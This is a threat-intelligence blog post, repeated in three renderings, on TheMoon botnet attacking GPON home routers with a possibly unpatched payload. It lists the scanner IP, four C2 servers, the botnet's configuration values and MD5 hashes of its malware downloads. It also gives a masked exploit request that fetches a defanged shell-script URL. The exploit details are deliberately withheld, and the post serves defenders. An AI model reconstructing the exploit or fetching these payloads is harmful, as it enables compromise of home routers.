GPON Exploit in the Wild (IV) - TheMoon Botnet Join in with a 0day(?)
<!--kg-card-begin: markdown--><p>This article was co-authored by Hui Wang, Rootkiter and Yegenshen.</p>
<p>It looks like this GPON party will never end. We just found TheMoon botnet has join the party.</p>
<p>TheMoon botnet has been discussed in our previous <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">article</a>, in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.</p>
<p>A very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a <strong>0day</strong>. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose <strong>NOT</strong> to disclose the attack payload details.</p>
<p>The features about this round of TheMoon:</p>
<ul>
<li><strong>Scanner IP</strong>: 177.141.64.108 Brazil/BR São Paulo &quot;AS28573 CLARO S.A.&quot;</li>
<li><strong>Scanning Port</strong>：80 ，8080，81，82，8888, with the GPON scan only on port <strong>80</strong></li>
<li><strong>Download Server</strong>: domstates.su</li>
<li><strong>C2 Server</strong>:
<ul>
<li>91.215.158.118 Netherlands/NL Amsterdam	&quot;AS60144 3W Infra B.V.&quot;</li>
<li>149.202.211.227 France/FR Fontenay-sous-Bois	&quot;AS16276 OVH SAS&quot;</li>
<li>208.110.66.34 United States/US Kansas City	&quot;AS32097 WholeSale Internet, Inc.&quot;</li>
<li>173.208.219.42 United States/US Kansas City	&quot;AS32097 WholeSale Internet, Inc.&quot;</li>
</ul>
</li>
</ul>
<p>The download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.</p>
<p>Attacking Payload (masked):</p>
<pre><code>POST /--------/--------?---------/ HTTP/1.1  
Accept: */*  
Host: {}  
User-Agent: Wget(linux)  
Content-Length: 287  
Content-Type: application/x-www-form-urlencoded  
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh  
</code></pre>
<p>The character of TheMoon botnet can be summarized in the following json:</p>
<pre><code>&quot;nttpd,1-mips-be-t3-z&quot;:{
       &quot;proto&quot;   :&quot;TCP&quot;,
       &quot;version&quot; :1,
       &quot;regkey&quot;  :0xB8,                            # previous 0xb7
       &quot;specific&quot;:0x6D61641D,                      # previous 0x6D61641C
       &quot;regport&quot; :5784,                            # previous 5783
       &quot;ccport&quot;  :5184,                            # previous 5183
       &quot;dwlport&quot; :4584,                            # previous 4583
       &quot;peerlist&quot;:[
           &quot;91.215.158.118&quot;, # 0x5BD79E76          # C2, not changed
           &quot;149.202.211.227&quot;,# 0x95CAD3E3          # C2, not changed
           &quot;208.110.66.34&quot;,  # 0xD06E4222          # C2, not changed
           &quot;173.208.219.42&quot;, # 0xADD0DB2A          # C2, not changed
       ]  
   }
</code></pre>
<h4 id="ioc">IoC</h4>
<p>Downloading URL</p>
<pre><code>md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z  
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh  
</code></pre>
<p>C2</p>
<pre><code>91.215.158.118 Netherlands/NL Amsterdam	&quot;AS60144 3W Infra B.V.&quot;
149.202.211.227 France/FR Fontenay-sous-Bois	&quot;AS16276 OVH SAS&quot;
208.110.66.34 United States/US Kansas City	&quot;AS32097 WholeSale Internet, Inc.&quot;
173.208.219.42 United States/US Kansas City	&quot;AS32097 WholeSale Internet, Inc.&quot;
</code></pre>
<p>Scanner IP</p>
<pre><code>177.141.64.108 Brazil/BR São Paulo	&quot;AS28573 CLARO S.A.&quot;
</code></pre>
<!--kg-card-end: markdown-->
This article was co-authored by Hui Wang, Rootkiter and Yegenshen.


It looks like this GPON party will never end. We just found TheMoon botnet has join the party.


TheMoon botnet has been discussed in our previous article, in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.


A very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a 0day. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose NOT to disclose the attack payload details.


The features about this round of TheMoon:


 * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."
 * Scanning Port：80 ，8080，81，82，8888, with the GPON scan only on port 80
 * Download Server: domstates.su
 * C2 Server:
   
   * 91.215.158.118 Netherlands/NL Amsterdam "AS60144 3W Infra B.V."
   * 149.202.211.227 France/FR Fontenay-sous-Bois "AS16276 OVH SAS"
   * 208.110.66.34 United States/US Kansas City "AS32097 WholeSale Internet, Inc."
   * 173.208.219.42 United States/US Kansas City "AS32097 WholeSale Internet, Inc."
   


The download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.


Attacking Payload (masked):


POST /--------/--------?---------/ HTTP/1.1  
Accept: */*  
Host: {}  
User-Agent: Wget(linux)  
Content-Length: 287  
Content-Type: application/x-www-form-urlencoded  
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh  



The character of TheMoon botnet can be summarized in the following json:


"nttpd,1-mips-be-t3-z":{
       "proto"   :"TCP",
       "version" :1,
       "regkey"  :0xB8,                            # previous 0xb7
       "specific":0x6D61641D,                      # previous 0x6D61641C
       "regport" :5784,                            # previous 5783
       "ccport"  :5184,                            # previous 5183
       "dwlport" :4584,                            # previous 4583
       "peerlist":[
           "91.215.158.118", # 0x5BD79E76          # C2, not changed
           "149.202.211.227",# 0x95CAD3E3          # C2, not changed
           "208.110.66.34",  # 0xD06E4222          # C2, not changed
           "173.208.219.42", # 0xADD0DB2A          # C2, not changed
       ]  
   }



IoC


Downloading URL


md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z  
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh  



C2


91.215.158.118 Netherlands/NL Amsterdam	"AS60144 3W Infra B.V."
149.202.211.227 France/FR Fontenay-sous-Bois	"AS16276 OVH SAS"
208.110.66.34 United States/US Kansas City	"AS32097 WholeSale Internet, Inc."
173.208.219.42 United States/US Kansas City	"AS32097 WholeSale Internet, Inc."



Scanner IP


177.141.64.108 Brazil/BR São Paulo	"AS28573 CLARO S.A."


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by Hui Wang, Rootkiter and Yegenshen.\n\nIt looks like this GPON party will never end. We just found TheMoon botnet has join the party.\n\nTheMoon botnet has been discussed in our previous [article](__GHOST_URL__/themoon-botnet-a-review-and-new-features/), in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.\n\nA very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a **0day**. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose **NOT** to disclose the attack payload details.\n\nThe features about this round of TheMoon:\n\n - **Scanner IP**: 177.141.64.108 Brazil/BR São Paulo \"AS28573 CLARO S.A.\"\n - **Scanning Port**：80 ，8080，81，82，8888, with the GPON scan only on port **80**\n - **Download Server**: domstates.su\n - **C2 Server**:\n    - 91.215.158.118 Netherlands/NL Amsterdam\t\"AS60144 3W Infra B.V.\"\n    - 149.202.211.227 France/FR Fontenay-sous-Bois\t\"AS16276 OVH SAS\"\n    - 208.110.66.34 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n    - 173.208.219.42 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n\nThe download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.\n\nAttacking Payload (masked):\n```\nPOST /--------/--------?---------/ HTTP/1.1  \nAccept: */*  \nHost: {}  \nUser-Agent: Wget(linux)  \nContent-Length: 287  \nContent-Type: application/x-www-form-urlencoded  \n-------------------------------------------------------------\nhxxp://domstates.su/gpon.sh  \n```\n\nThe character of TheMoon botnet can be summarized in the following json:\n```\n\"nttpd,1-mips-be-t3-z\":{\n       \"proto\"   :\"TCP\",\n       \"version\" :1,\n       \"regkey\"  :0xB8,                            # previous 0xb7\n       \"specific\":0x6D61641D,                      # previous 0x6D61641C\n       \"regport\" :5784,                            # previous 5783\n       \"ccport\"  :5184,                            # previous 5183\n       \"dwlport\" :4584,                            # previous 4583\n       \"peerlist\":[\n           \"91.215.158.118\", # 0x5BD79E76          # C2, not changed\n           \"149.202.211.227\",# 0x95CAD3E3          # C2, not changed\n           \"208.110.66.34\",  # 0xD06E4222          # C2, not changed\n           \"173.208.219.42\", # 0xADD0DB2A          # C2, not changed\n       ]  \n   }\n```\n\n####IoC\nDownloading URL\n```\nmd5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z  \nmd5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh  \n```\n\nC2\n```\n91.215.158.118 Netherlands/NL Amsterdam\t\"AS60144 3W Infra B.V.\"\n149.202.211.227 France/FR Fontenay-sous-Bois\t\"AS16276 OVH SAS\"\n208.110.66.34 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n173.208.219.42 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n```\n\nScanner IP\n```\n177.141.64.108 Brazil/BR São Paulo\t\"AS28573 CLARO S.A.\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}